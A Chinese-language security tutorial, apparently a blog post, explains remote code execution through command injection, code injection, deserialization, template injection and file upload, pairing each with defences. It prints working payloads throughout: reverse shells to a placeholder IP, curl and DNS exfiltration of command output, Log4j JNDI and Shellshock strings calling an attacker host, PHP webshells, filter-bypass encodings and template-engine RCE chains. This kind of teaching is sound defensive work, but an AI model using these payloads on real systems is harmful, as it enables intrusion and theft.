每天一个知识点——RCE漏洞

RCE = Remote Code Execution ,中文叫远程代码执行

它是网络安全里危害等级最高的一类漏洞之一,简单说就是:攻击者能让你服务器执行他想执行的任意代码或命令

RCE 的两种常见形态

严格来说,RCE 常被用来统称下面两类,实际有细微区别:

类型 英文 含义
命令执行 Command Injection 执行的是系统命令 (如 whoamils
代码执行 Code Injection 执行的是编程语言代码(如 PHP、Python 代码)

你上一个问题问的 OS命令执行 ,其实就是 RCE 中的命令注入这一类。所以两者的关系是:

复制代码
RCE(远程代码执行)
├── 系统命令执行(OS Command Injection)
└── 代码执行(Code Injection)

为什么 RCE 这么危险

  • 直接控制服务器:可以读写文件、执行任意程序

  • 权限高:通常以 Web 服务账户权限运行,配合提权可拿到 root

  • 可横向移动:作为跳板攻击内网其他机器

  • 利用链终点:很多漏洞(文件上传、反序列化、SQL注入)最终目标就是拿到 RCE

在漏洞评级里,RCE 基本都属于 严重(Critical) 级别,CVSS 评分通常 9.0+。

常见的 RCE 成因

  1. 命令注入 :拼接用户输入调用 system()exec()

  2. 代码注入eval()assert() 直接执行用户输入

  3. 反序列化漏洞:Java、PHP、Python 的反序列化

  4. 模板注入(SSTI):服务端模板引擎被注入代码

  5. 文件上传:上传 WebShell 后获得命令执行能力

  6. 表达式注入:SpEL、OGNL(如 Log4j2 漏洞)

典型例子

命令注入:

php

复制代码
system("ping " . $_GET['ip']);
// 攻击:?ip=127.0.0.1; whoami

代码执行:

php

复制代码
eval($_GET['code']);
// 攻击:?code=system('whoami');

Log4j2(CVE-2021-44228):

text

复制代码
${jndi:ldap://attacker.com/exploit}

一个日志字符串就能触发远程代码执行,影响全球大量系统。

和几个易混概念的区别

概念 全称 执行的是什么
RCE Remote Code Execution 远程执行代码/命令
LFI Local File Inclusion 本地文件包含(可能升级为 RCE)
RFI Remote File Inclusion 远程文件包含(可直接 RCE)
SSRF Server-Side Request Forgery 服务端请求伪造(可探测内网)
SQLi SQL Injection 注入 SQL 语句

防御核心思路

  1. 不信任任何用户输入,白名单校验

  2. 避免拼接 ,用参数化 API(subprocess 列表传参、shell=False

  3. 禁用危险函数evalsystemexec

  4. 最小权限运行服务

  5. 及时打补丁,尤其是反序列化、Log4j 这类组件漏洞


一句话总结:RCE = 攻击者能在你服务器上"为所欲为",是渗透测试的终极目标之一。

命令注入(OS Command Injection)详解

一、本质

程序调用了系统命令执行函数(systemexecpopenshell_exec 等),并且把用户可控的输入拼接进了命令字符串,导致用户可以"越界"执行额外命令。

核心公式:

text

复制代码
用户输入 + 命令拼接 + 未过滤 = 命令注入

二、漏洞产生的必要条件

  1. 程序调用了系统命令(不是所有业务都需要)

  2. 命令字符串包含用户输入

  3. 输入未做严格过滤或转义

三者缺一不可。只要有一个环节断了,漏洞就不成立。


三、常见危险函数(按语言分)

PHP

php

复制代码
system($cmd);          // 执行并输出结果
exec($cmd, $out);      // 执行,结果存数组
shell_exec($cmd);      // 执行,返回字符串
passthru($cmd);        // 执行并原样输出
popen($cmd, 'r');      // 打开进程
proc_open($cmd, ...);  // 更底层的进程控制
反引号 `$cmd`          // 等价 shell_exec

Python

python

复制代码
os.system(cmd)
os.popen(cmd)
subprocess.run(cmd, shell=True)   # shell=True 才危险
subprocess.Popen(cmd, shell=True)
commands.getoutput(cmd)           # 老版本

Java

java

复制代码
Runtime.getRuntime().exec(cmd);
ProcessBuilder(cmd);

Node.js

javascript

复制代码
child_process.exec(cmd)
child_process.execSync(cmd)
child_process.spawn(cmd, {shell:true})

C/C++

c

复制代码
system(cmd);
popen(cmd, "r");
execve(...);

四、命令拼接符(核心利用点)

不同系统支持的拼接符不一样,这是判断目标系统的重要线索。

Linux / Unix

符号 含义 示例 结果
; 顺序执行 a; b a 执行完执行 b
` ` 管道 `a
` ` 逻辑或
&& 逻辑与 a && b a 成功才执行 b
& 后台 a & b a 后台运行,b 照常
````` | 命令替换 | b | b 结果替换到当前位置 |
$() 命令替换 $(b) 同上
%0a 换行 a%0ab URL 编码的换行

Windows

符号 含义
& 顺序执行
&& 逻辑与
` `
`

关键差异 :Windows 一般不支持 ;,Linux 一般不支持 & 之外的 Windows 风格组合。用 ; 能通通常是 Linux。


五、判断漏洞是否存在

1. 时间盲注(最可靠)

text

复制代码
?ip=127.0.0.1; sleep 5
?ip=127.0.0.1 && ping -n 5 127.0.0.1    (Windows)

如果响应延迟约 5 秒,说明命令被执行了。

2. 回显判断

text

复制代码
?ip=127.0.0.1; whoami
?ip=127.0.0.1; id
?ip=127.0.0.1; uname -a

3. DNSlog 外带(无回显时)

text

复制代码
?ip=127.0.0.1; ping `whoami`.dnslog.cn
?ip=127.0.0.1; curl http://dnslog.cn/$(whoami)

去 DNSlog 平台看有没有请求记录。

4. 写文件到 Web 目录

text

复制代码
?ip=127.0.0.1; echo "<?php eval($_POST[1]);?>" > /var/www/html/shell.php

六、绕过技巧(WAF / 黑名单)

1. 空格绕过

text

复制代码
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat</etc/passwd
cat%09/etc/passwd      (Tab)

2. 关键字绕过

text

复制代码
w'h'o'am'i
w"h"o"a"m"i
who$@ami
wh\oami

3. 编码绕过

bash

复制代码
# Base64
echo d2hvYW1p | base64 -d | bash

# Hex
echo 77686f616d69 | xxd -r -p | bash

# 变量拼接
a=who; b=ami; $a$b

4. 通配符绕过

text

复制代码
cat /etc/pass*
cat /etc/pas?wd
cat /etc/[p]asswd

5. 无回显绕过

  • DNSlogping $(whoami).dnslog.cn

  • HTTP 外带curl http://your-server/$(cat /flag)

  • 写文件:写到可访问目录再读

  • 反弹 Shellbash -i >& /dev/tcp/ip/port 0>&1

6. 长度限制绕过

text

复制代码
echo "payload" > /tmp/1
bash /tmp/1

或用 wget 下载远程脚本执行。


七、进阶利用

1. 反弹 Shell

bash

复制代码
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
nc -e /bin/bash 10.0.0.1 4444
python -c 'import socket,subprocess,os;...'

2. 无回显盲注(布尔/时间)

bash

复制代码
# 时间盲注:逐字符判断
if [ $(whoami | cut -c1) = r ]; then sleep 3; fi

3. 结合其他漏洞

  • 命令注入 + 文件上传 = 上传 WebShell

  • 命令注入 + SSRF = 内网探测

  • 命令注入 + 提权 = 拿 root


八、真实案例

1. Shellshock(CVE-2014-6271)

Bash 环境变量解析漏洞,通过 HTTP 头注入命令:

text

复制代码
User-Agent: () { :; }; /bin/bash -c "curl http://attacker/"

2. Struts2 系列

多个 S2 漏洞最终都能 RCE,本质是 OGNL 表达式注入 + 命令执行。

3. 各种 IoT 设备

路由器、摄像头固件里大量 system("ping " + user_input) 写法。


九、防御措施(重点)

1. 根本方案:不调用系统命令

php

复制代码
// 错误
system("ping -c 1 " . $ip);

// 正确:用语言内置库
filter_var($ip, FILTER_VALIDATE_IP);

2. 白名单校验

php

复制代码
if (!preg_match('/^[a-zA-Z0-9.\-]+$/', $ip)) {
    die("invalid");
}

3. 参数化调用(避免 shell 解析)

python

复制代码
# 危险
subprocess.run("ping -c 1 " + ip, shell=True)

# 安全
subprocess.run(["ping", "-c", "1", ip], shell=False)

php

复制代码
// PHP
$ip = escapeshellarg($ip);
system("ping -c 1 " . $ip);

4. 禁用危险函数

ini

复制代码
; php.ini
disable_functions = system,exec,shell_exec,passthru,popen,proc_open

5. 最小权限

Web 服务用低权限账户运行,限制可执行命令。

6. 其他

  • WAF 拦截特殊字符(治标不治本)

  • 容器隔离 / 沙箱

  • 及时更新组件


十、一句话总结

命令注入的本质是用户输入混入了系统命令字符串 ,防御的核心是不拼接、用白名单、参数化调用

代码执行(Code Injection)详解

一、本质

程序把用户输入当作代码来执行,而不是当作数据。攻击者可以注入编程语言代码(PHP、Python、Java 等),由服务器解释执行。

和命令注入的区别:

命令注入 代码执行
执行对象 系统命令(whoami 编程语言代码(phpinfo()
依赖 系统 shell 语言解释器/引擎
典型函数 systemexec evalassert
危害 服务器命令级 可调用语言全部能力

代码执行通常比命令注入更灵活,因为可以直接调用语言的库函数。


二、常见危险函数(按语言分)

PHP

php

复制代码
eval($code);                    // 最经典
assert($code);                  // 老版本可执行代码
preg_replace('/pattern/e', $code, $subject);  // /e 修饰符(PHP<7)
create_function('', $code);     // 内部等价 eval
call_user_func($func, $arg);    // 动态调用
array_map($func, $arr);         // 同上
usort($arr, $func);
${'func'}();                    // 可变函数

Python

python

复制代码
eval("...")            # 执行表达式
exec("...")            # 执行语句
compile("...", ...)    # 编译后执行
__import__("os").system("...")
pickle.loads(...)      # 反序列化(另讲)

Java

java

复制代码
ScriptEngineManager manager = new ScriptEngineManager();
engine.eval(userInput);        // 执行 JS 等脚本

以及表达式注入:SpEL、OGNL、MVEL、EL(这些归到 SSTI/表达式注入)。

JavaScript / Node.js

javascript

复制代码
eval(code)
new Function(code)
setTimeout(code, 0)     // 传字符串时执行
vm.runInNewContext(code)

三、PHP 代码执行的典型场景

1. 直接 eval

php

复制代码
$code = $_GET['code'];
eval($code);

攻击:

text

复制代码
?code=system('whoami');
?code=phpinfo();
?code=file_get_contents('/flag');

2. 一句话木马(WebShell 核心)

php

复制代码
<?php @eval($_POST['cmd']); ?>

这就是最经典的代码执行后门,配合中国菜刀、蚁剑、冰蝎使用。

3. 动态函数调用

php

复制代码
$func = $_GET['f'];
$func($_GET['arg']);

攻击:?f=system&arg=whoami

4. preg_replace /e(历史漏洞)

php

复制代码
preg_replace('/.*/e', $_GET['code'], '');

/e 让替换结果当 PHP 代码执行,PHP 7 已移除。

5. 回调函数滥用

php

复制代码
call_user_func($_GET['cb'], $_GET['arg']);
array_map($_GET['cb'], $arr);

攻击:?cb=system&arg=ls


四、代码执行 vs 命令执行的关系

  • 代码执行能力更强 :可以调用语言的任意函数,包括 systemexec,等于间接实现命令执行

  • 命令执行更直接:直接调系统命令

  • 实战中两者常互相转化:

    • 代码执行 → system('whoami') → 命令执行

    • 命令执行 → 写 WebShell → 代码执行

一句话:代码执行是"更上层"的能力,往往危害更大。


五、利用思路

1. 信息收集

php

复制代码
phpinfo();
var_dump(get_defined_functions());

2. 读文件

php

复制代码
file_get_contents('/flag');
highlight_file('/flag');
show_source('/flag');
readfile('/flag');

3. 写文件

php

复制代码
file_put_contents('shell.php', '<?php eval($_POST[1]);?>');

4. 执行命令

php

复制代码
system('whoami');
exec('id');
passthru('ls');

5. 反弹 Shell

php

复制代码
system('bash -i >& /dev/tcp/ip/port 0>&1');

6. 绕过 disable_functions

如果 systemexec 被禁:

  • LD_PRELOAD 劫持

  • PHP-FPM 攻击

  • imap_open 漏洞(CVE-2018-19518)

  • GC UAF(PHP 7.x)

  • Shellshock

  • Apache Mod_CGI

  • 利用 putenv + mail()


六、绕过技巧

1. 关键字绕过

php

复制代码
// 拼接
$f = 'sys'.'tem'; $f('whoami');

// 变量函数
$a = 'system'; $a('whoami');

// 大小写(不区分大小写函数无效,但可绕 WAF)
System('whoami');

// 进制
"\x73\x79\x73\x74\x65\x6d"('whoami');

// 字符串反转
strrev('metsys')('whoami');

2. 无字母数字 Webshell

利用异或、取反、自增等构造任意字符:

php

复制代码
$_=('%01'^'`');  // 异或得到 'a'

(这是 CTF 经典题型)

3. 过滤 eval 但可用其他

  • assert(老 PHP)

  • create_function

  • preg_replace /e

  • ob_start + 回调

4. 无回显

  • 写文件到 Web 目录

  • DNSlog 外带

  • 反弹 Shell


七、真实案例

1. 一句话木马生态

中国菜刀、蚁剑、冰蝎、哥斯拉------本质都是客户端 + 服务端代码执行后门。

2. PHP assert 漏洞

老版本 assert 可执行任意代码,很多 CMS 被利用。

3. preg_replace /e

WordPress、Discuz 等历史漏洞常客。

4. Java 表达式注入

  • Struts2 OGNL

  • Spring SpEL

  • Log4j2 JNDI(也算代码执行链)


八、防御措施

1. 根本:不要执行用户输入

php

复制代码
// 绝对禁止
eval($_GET['code']);

2. 禁用危险函数

ini

复制代码
disable_functions = eval,assert,create_function,system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec

注意:eval 是语言结构,不能直接 disable,需要靠代码审计。

3. 白名单动态调用

php

复制代码
$allowed = ['a', 'b', 'c'];
if (in_array($_GET['f'], $allowed)) {
    $_GET['f']();
}

4. 输入校验 + 转义

对进入 eval 类函数的输入做严格白名单。

5. 最小权限

  • Web 账户低权限

  • open_basedir 限制

  • 容器隔离

6. 代码审计

重点搜索:evalassertpreg_replace /ecall_user_funcarray_map、动态 $func()


九、一句话总结

代码执行 = 用户输入被当成代码跑,能力比命令执行更强,是 WebShell 和大量 RCE 漏洞的核心。

反序列化漏洞详解

一、先理解序列化与反序列化

序列化:把对象(内存中的数据结构)转换成可存储/传输的格式(字符串或字节流)。

反序列化:把字符串/字节流还原成对象。

用途:跨进程传输、存缓存、存 session、RPC 调用等。

问题 :反序列化时,程序会根据数据自动创建对象、设置属性、触发方法。如果数据被攻击者控制,就能构造恶意对象,触发危险方法链。

一句话本质

反序列化 = 让程序"自动"按攻击者的数据重建对象,并在这个过程中执行了攻击者想要的代码。


二、各语言的序列化格式

PHP

php

复制代码
serialize($obj)      // 序列化
unserialize($str)    // 反序列化

格式:

text

复制代码
O:4:"User":2:{s:4:"name";s:3:"tom";s:3:"age";i:18;}
  • O: 对象,s: 字符串,i: 整数,a: 数组,b: 布尔

Java

java

复制代码
ObjectOutputStream.writeObject(obj)   // 序列化
ObjectInputStream.readObject()        // 反序列化

格式:二进制字节流,以 AC ED 00 05 开头(魔数)。

Python

python

复制代码
pickle.dumps(obj)      # 序列化
pickle.loads(data)     # 反序列化
yaml.load(data)        # YAML 反序列化也危险

格式:pickle 协议,有 __reduce__ 等魔术方法可被利用。

.NET

csharp

复制代码
BinaryFormatter.Serialize / Deserialize

同样有 ObjectDataProviderTypeConfuseDelegate 等利用链。


三、PHP 反序列化

1. 魔术方法(核心)

反序列化时会自动触发这些方法:

方法 触发时机
__construct 创建对象时
__destruct 对象销毁时
__toString 对象被当字符串用
__wakeup unserialize 时
__sleep serialize 时
__call 调用不存在的方法
__get 读取不存在的属性
__set 写入不存在的属性
__invoke 对象被当函数调用

漏洞点__wakeup__destruct__toString 里如果有危险操作,就能被利用。

2. 经典利用:POP Chain

POP = Property-Oriented Programming(面向属性编程)。

思路:从入口魔术方法出发,顺着对象属性引用,串起一条能到达危险函数(如 systemeval)的调用链。

示例:

php

复制代码
class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);   // 危险点
    }
}

// 攻击 payload
$obj = new A();
$obj->cmd = "system('whoami');";
echo serialize($obj);
// O:1:"A":1:{s:3:"cmd";s:16:"system('whoami');";}

3. 绕过 __wakeup

  • CVE-2016-7124 :属性个数大于真实个数时,__wakeup 不执行

    text

    复制代码
    O:1:"A":2:{s:3:"cmd";s:...;}   // 声称2个属性,实际1个

4. 绕过正则过滤

  • O: 被过滤 → 用 C:(自定义序列化)

  • 大小写、加号 +%00

5. Phar 反序列化(重点)

PHP 中 phar:// 伪协议读取文件时,会自动反序列化 phar 元数据 ,即使代码里没有 unserialize 也能触发。

php

复制代码
file_get_contents('phar://uploaded.phar/test.txt');

只要文件操作函数的参数可控且能用 phar://,就能触发 POP Chain。

这是很多 CTF 和真实漏洞的考点。


四、Java 反序列化

1. 入口

java

复制代码
ObjectInputStream.readObject()

只要数据可控,就可能被利用。

2. 常见触发点

  • HTTP 请求参数(Base64 反序列化)

  • RMI、JNDI

  • Shiro、Fastjson、Jackson、XStream 等组件

  • WebLogic、WebSphere 等中间件

3. 利用链(Gadget Chain)

Java 利用链依赖已有类库里的方法链。经典链:

链名 依赖库
CommonsCollections(CC1~CC7) Apache Commons Collections
CommonsBeanutils Commons BeanUtils
Spring Spring 框架
Groovy Groovy
JDK7u21 JDK 原生
URLDNS JDK 原生(用于探测)

URLDNS 是最简单的探测链:不发命令,只触发一次 DNS 请求,用来判断是否存在反序列化漏洞。

4. 工具

  • ysoserial:生成各种利用链 payload

    text

    复制代码
    java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.bin
  • marshalsec:JNDI 相关

  • JNDI-Injection-Exploit

5. JNDI 注入(Log4j2 的核心)

java

复制代码
InitialContext.lookup("ldap://attacker/exploit");

攻击者控制 LDAP/RMI 服务,返回恶意类,目标加载后 RCE。

Log4j2(CVE-2021-44228)

text

复制代码
${jndi:ldap://attacker.com/exploit}

一个日志字符串就触发,影响全球。

6. Fastjson / Jackson

  • Fastjson@type 指定类,自动调用 setter/getter,历史多个 RCE

  • JacksonenableDefaultTyping 时危险


五、Python 反序列化

1. pickle

python

复制代码
import pickle
pickle.loads(user_input)   # 危险

利用 __reduce__

python

复制代码
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())

2. PyYAML

python

复制代码
yaml.load(user_input)      # 危险
yaml.safe_load(user_input) # 安全

!!python/object/apply:os.system 等标签可执行命令。

3. 其他

  • jsonpickle

  • dill

  • Django session(签名问题)


六、.NET 反序列化

  • BinaryFormatterLosFormatterNetDataContractSerializer

  • 利用链:ObjectDataProviderTypeConfuseDelegate

  • 工具:ysoserial.net


七、利用流程(通用)

text

复制代码
1. 找到反序列化入口(readObject / unserialize / pickle.loads)
2. 判断是否可控
3. 确认目标环境有哪些类库
4. 构造/选择利用链(POP Chain / Gadget Chain)
5. 生成 payload
6. 发送,触发 RCE

八、防御措施

1. 根本:不反序列化不可信数据

  • 用 JSON、Protobuf 等纯数据格式替代

  • 必须用序列化时,加签名/加密校验

2. 白名单校验类

java

复制代码
// Java
ObjectInputStream ois = new ObjectInputStream(input) {
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        if (!allowedClasses.contains(desc.getName())) {
            throw new InvalidClassException("unauthorized");
        }
        return super.resolveClass(desc);
    }
};

3. PHP

  • 不用 unserialize 处理用户输入

  • json_decode 替代

  • 禁止 phar:// 伪协议(phar.readonly=On 只是不能写,读仍危险)

4. Python

  • yaml.safe_load

  • 不用 pickle 处理外部数据

5. 组件升级

  • Fastjson、Jackson、Log4j、Shiro、CommonsCollections 及时打补丁

6. 最小权限 + 隔离

  • 即使被利用,限制影响范围

九、真实案例

漏洞 影响
Log4j2(CVE-2021-44228) 全球级,JNDI 注入
Fastjson 多个 RCE 阿里组件,影响巨大
Shiro 反序列化(CVE-2016-4437) rememberMe Cookie
WebLogic 反序列化 多个 CVE
PHP Phar 反序列化 文件操作触发
Apache CommonsCollections Java 利用链鼻祖

十、一句话总结

反序列化漏洞 = 攻击者控制序列化数据,让程序在还原对象时执行恶意代码。核心是找入口 + 串利用链,Java 靠 Gadget Chain,PHP 靠 POP Chain + 魔术方法。

SSTI 服务端模板注入详解

一、先理解模板引擎

模板引擎的作用:把数据 填充到模板里,生成最终输出(HTML、邮件、配置文件等)。

text

复制代码
模板:Hello, {{ name }}!
数据:name = "Tom"
输出:Hello, Tom!

常见模板引擎:

语言 模板引擎
Python Jinja2、Mako、Tornado、Django Template
PHP Twig、Smarty、Blade
Java Freemarker、Velocity、Thymeleaf
Node.js EJS、Pug、Handlebars
Ruby ERB、Slim

SSTI 的本质

用户输入被当作模板内容(而不是模板变量)来渲染,导致模板语法被解析执行。

和代码执行的关系:SSTI 是代码执行的一种"变体",最终目标也是 RCE。


二、怎么产生的

关键区别:

python

复制代码
# 安全:用户输入作为数据
render_template_string("Hello, {{ name }}", name=user_input)

# 危险:用户输入拼进模板字符串
render_template_string("Hello, " + user_input)

当用户输入被直接拼接进模板 ,模板引擎就会解析其中的 {``{ }}{% %} 等语法。

典型漏洞代码:

python

复制代码
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', '')
    return render_template_string('Hello, ' + name + '!')

攻击:

text

复制代码
?name={{ 7*7 }}

如果返回 Hello, 49!,说明存在 SSTI。


三、如何判断是否存在 SSTI

1. 基础探测

text

复制代码
{{ 7*7 }}      → 49
${7*7}         → 49
<%= 7*7 %>     → 49
#{7*7}         → 49
*{7*7}         → 49

2. 判断模板引擎类型

不同引擎的语法不同,用不同 payload 试:

text

复制代码
{{7*'7'}}
  • Jinja2 → 7777777

  • Twig → 49

text

复制代码
${7*7}
  • Freemarker / Velocity / Mako 可能支持

text

复制代码
<%= 7*7 %>
  • ERB / EJS

工具tplmap(类似 sqlmap,专门检测 SSTI)


四、Jinja2 利用(最经典)

1. 信息收集

jinja

复制代码
{{ config }}                    # Flask 配置
{{ self }}                      # 当前模板对象
{{ ''.__class__ }}              # 字符串类
{{ ''.__class__.__mro__ }}      # 方法解析顺序
{{ ''.__class__.__base__.__subclasses__() }}  # 所有子类

2. 找可利用类

Jinja2 的经典利用链:通过 __subclasses__() 找到能执行命令的类。

jinja

复制代码
{{ ''.__class__.__mro__[1].__subclasses__() }}

会返回一堆类,找 subprocess.Popenos._wrap_close 等。

3. 执行命令

jinja

复制代码
# 方式一:找到 subprocess.Popen
{{ ''.__class__.__mro__[1].__subclasses__()[X]('whoami', shell=True, stdout=-1).communicate() }}

# 方式二:os._wrap_close
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['system']('whoami') }}

# 方式三:通过 __builtins__
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") }}

4. 常用内置对象

jinja

复制代码
{{ lipsum.__globals__ }}                        # 快速拿 globals
{{ cycler.__init__.__globals__.os }}            # 拿 os 模块
{{ joiner.__init__.__globals__.os }}
{{ namespace.__init__.__globals__.os }}
{{ url_for.__globals__ }}
{{ get_flashed_messages.__globals__ }}

5. 过滤绕过

过滤 绕过
_ 被过滤 \x5frequest.args.x
. 被过滤 `
[] 被过滤 .__getitem__(0)
{``{ }} 被过滤 {% %}{# #}
关键字被过滤 字符串拼接、编码、`
os 被过滤 \x6f\x73、`

示例:

jinja

复制代码
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}

6. 无回显

  • 写文件到 Web 目录

  • 反弹 Shell

  • DNSlog 外带


五、其他模板引擎利用

1. Twig(PHP)

twig

复制代码
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

老版本 Twig 可利用 _self

2. Freemarker(Java)

freemarker

复制代码
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}

ObjectConstructorJythonRuntime 等。

3. Velocity(Java)

velocity

复制代码
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami")

4. Thymeleaf(Java)

thymeleaf

复制代码
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x

Thymeleaf 的表达式预处理 __${...}__ 是经典利用点。

5. Smarty(PHP)

smarty

复制代码
{php}system('whoami');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_POST[1]);?>",self::clearConfig())}

6. Mako(Python)

mako

复制代码
${self.module.cache.util.os.system("whoami")}
<%
import os
os.system("whoami")
%>

7. ERB(Ruby)

erb

复制代码
<%= system("whoami") %>

六、SSTI vs 其他漏洞

漏洞 注入对象 执行者
SQL 注入 SQL 语句 数据库
命令注入 系统命令 Shell
代码执行 语言代码 解释器
SSTI 模板语法 模板引擎
表达式注入 SpEL/OGNL 表达式引擎

SSTI 和表达式注入(SpEL、OGNL)本质相似,都是"数据被当代码解析"。


七、真实案例

案例 说明
Flask Jinja2 SSTI CTF 常客,Python Web 经典
CVE-2019-11043 PHP-FPM + Nginx 配置问题
Apache OFBiz Freemarker 多个 RCE
Thymeleaf 表达式注入 Spring Boot 场景
Atlassian Confluence SSTI CVE-2023-22527 等

八、防御措施

1. 根本:不拼接模板

python

复制代码
# 错误
render_template_string("Hello " + name)

# 正确
render_template_string("Hello {{ name }}", name=name)
# 或
render_template("index.html", name=name)

2. 用户输入只作为数据

模板内容固定,变量通过上下文传入。

3. 沙箱 / 限制

  • Jinja2 的 SandboxedEnvironment

  • 禁用危险对象(__globals____subclasses__

4. 白名单

如果必须动态模板,限制可用语法和变量。

5. 及时更新

模板引擎历史漏洞不少,保持最新。

6. 最小权限

Web 服务低权限运行。


九、一句话总结

SSTI = 用户输入被当成模板语法解析执行。核心是找模板引擎 → 构造利用链 → 调危险对象执行命令 。Jinja2 的 __subclasses__ 链是最经典的。

文件上传漏洞详解

一、本质

程序允许用户上传文件,但未对文件类型、内容、路径做严格校验,导致攻击者可以上传恶意文件(通常是 WebShell),进而控制服务器。

核心公式:

text

复制代码
上传功能 + 校验不严 + 文件可被解析 = 文件上传漏洞

关键点 :上传本身不是漏洞,上传的文件能被服务器当作代码执行才是漏洞。


二、漏洞产生的条件

  1. 有上传功能(头像、附件、导入等)

  2. 校验不严(类型、后缀、内容、路径任一环节)

  3. 上传目录可访问(能通过 URL 访问到)

  4. 上传目录可解析(服务器会执行该目录下的脚本)

四个条件缺一不可。


三、常见校验方式与绕过

1. 前端 JS 校验(最弱)

只靠浏览器 JS 检查后缀,抓包改包即可绕过。

绕过:Burp 拦截,改文件名后缀,或直接禁用 JS。

2. Content-Type 校验

检查 HTTP 头 Content-Type,如只允许 image/jpeg

绕过 :抓包改 Content-Type: image/jpeg

3. 后缀黑名单

禁止 .php.jsp.asp 等。

绕过方式:

技巧 示例
大小写 .PHP.PhP
双写 .pphphp(过滤一次后变 .php
特殊后缀 .php3.php4.php5.phtml.pht
空格/点 .php.php.(Windows 特性)
%00 截断 .php%00.jpg(老版本 PHP)
::$DATA .php::$DATA(Windows NTFS)
分号 .php;.jpg(部分环境)
换行 .php%0a

4. 后缀白名单

只允许 .jpg.png 等。

绕过思路:

  • 解析漏洞(见下文)

  • 配合文件包含:上传图片马,用 LFI 包含执行

  • .htaccess :上传 .htaccess.jpg 当 PHP 解析

5. 文件内容校验

检查文件头(Magic Bytes),如 FF D8 FF(JPEG)。

绕过:图片马------在正常图片后追加 PHP 代码。

text

复制代码
GIF89a<?php eval($_POST[1]);?>

或用 copy /b 1.jpg + shell.php 2.jpg 合成。

6. 文件头 + 后缀双重校验

需要组合绕过,比如图片马 + 解析漏洞。


四、解析漏洞(重点)

服务器或中间件对文件解析的"特性",能让非脚本文件被当脚本执行。

1. Apache 解析漏洞

  • 多后缀shell.php.jpg → Apache 从右往左解析,遇到 .php 就当 PHP

  • .htaccess :上传 .htaccess 内容 AddType application/x-httpd-php .jpg,让 .jpg 被当 PHP

2. Nginx 解析漏洞

  • CVE-2013-4547shell.jpg%20.php

  • 配置不当/upload/shell.jpg/x.php 可能解析为 PHP

3. IIS 解析漏洞

  • 分号shell.asp;.jpg

  • 目录解析shell.asp/1.jpgshell.asp 目录下文件都当 ASP

  • IIS 6.0 特有

4. PHP CGI 解析漏洞

  • CVE-2012-1823?-.php 参数注入

  • Nginx + PHP-FPMshell.jpg/1.php

5. PHP-FPM 解析漏洞

  • CVE-2019-11043:Nginx + PHP-FPM 配置问题,可 RCE

五、利用流程

text

复制代码
1. 找上传点(头像、附件、编辑器、导入)
2. 测试允许的后缀
3. 尝试绕过校验
4. 上传 WebShell
5. 访问 WebShell,执行命令
6. 提权 / 横向移动

WebShell 示例(PHP):

php

复制代码
<?php @eval($_POST['cmd']); ?>

text

复制代码
<?php system($_GET['c']); ?>

text

复制代码
<?php @assert($_POST[1]); ?>

连接工具:中国菜刀、蚁剑、冰蝎、哥斯拉。


六、进阶利用

1. 图片马 + 文件包含

上传图片马(含 PHP 代码),再用 LFI 包含:

text

复制代码
?file=upload/shell.jpg

2. .htaccess / .user.ini

  • .htaccess(Apache):

    text

    复制代码
    AddType application/x-httpd-php .jpg
  • .user.ini(PHP-FPM):

    text

    复制代码
    auto_prepend_file=shell.jpg

    让同目录下所有 PHP 文件自动包含 shell.jpg

3. 竞争上传

上传后文件被删除前,快速访问执行(条件竞争)。

4. 软链接 / 压缩包

  • 上传包含软链接的压缩包,解压后指向敏感文件

  • Zip Slip:路径穿越写文件

5. 无回显 / 无解析

  • 配合其他漏洞

  • 上传到可访问目录后直接访问


七、真实案例

案例 说明
各类 CMS 上传漏洞 DedeCMS、WordPress 插件等
编辑器漏洞 UEditor、FCKeditor、KindEditor
CVE-2017-12615 Tomcat PUT 上传
CVE-2019-11043 PHP-FPM 解析
Weblogic 上传 多个 CVE
泛微 OA、致远 OA 国产 OA 上传漏洞常客

八、防御措施(重点)

1. 后缀白名单(最有效)

php

复制代码
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die("invalid");

注意:用 pathinfo 而非 explode,防止多后缀绕过。

2. 文件内容校验

  • 检查 Magic Bytes

  • getimagesize() 验证图片

  • 重新生成图片(GD 库处理),丢弃原始内容

3. 重命名文件

上传后随机重命名,去掉用户可控后缀:

php

复制代码
$newName = md5(time()) . '.jpg';

4. 上传目录不可解析

nginx

复制代码
location /upload/ {
    location ~ \.php$ { deny all; }
}

或上传目录与 Web 根分离。

5. 限制上传目录权限

  • 不可执行

  • 独立存储(对象存储、CDN)

6. 禁止 .htaccess / .user.ini

黑名单或直接拒绝。

7. 文件头 + 后缀双重校验

8. WAF / 云防护

9. 最小权限

Web 服务低权限运行。


九、一句话总结

文件上传漏洞 = 上传的文件被服务器当代码执行。核心是绕过校验 + 利用解析 ,最终上传 WebShell 拿权限。防御靠白名单 + 内容校验 + 重命名 + 目录不可解析

相关推荐
TDengine (老段)2 小时前
TDengine 常见问题 TOP2
大数据·数据库·物联网·时序数据库·tdengine·涛思数据
笃行3502 小时前
数据迁移工具 KDMS 帮我把一本糊涂账算清了
数据库
努力努力再努力wz2 小时前
【Docker 入门系列】:从 Namespace、CGroup 到 LXC:理解容器运行时、rootfs 与 LXC 实战
运维·docker·容器
u1301303 小时前
GitHub 热榜项目:日榜(2026-09-12)
github
笃行3503 小时前
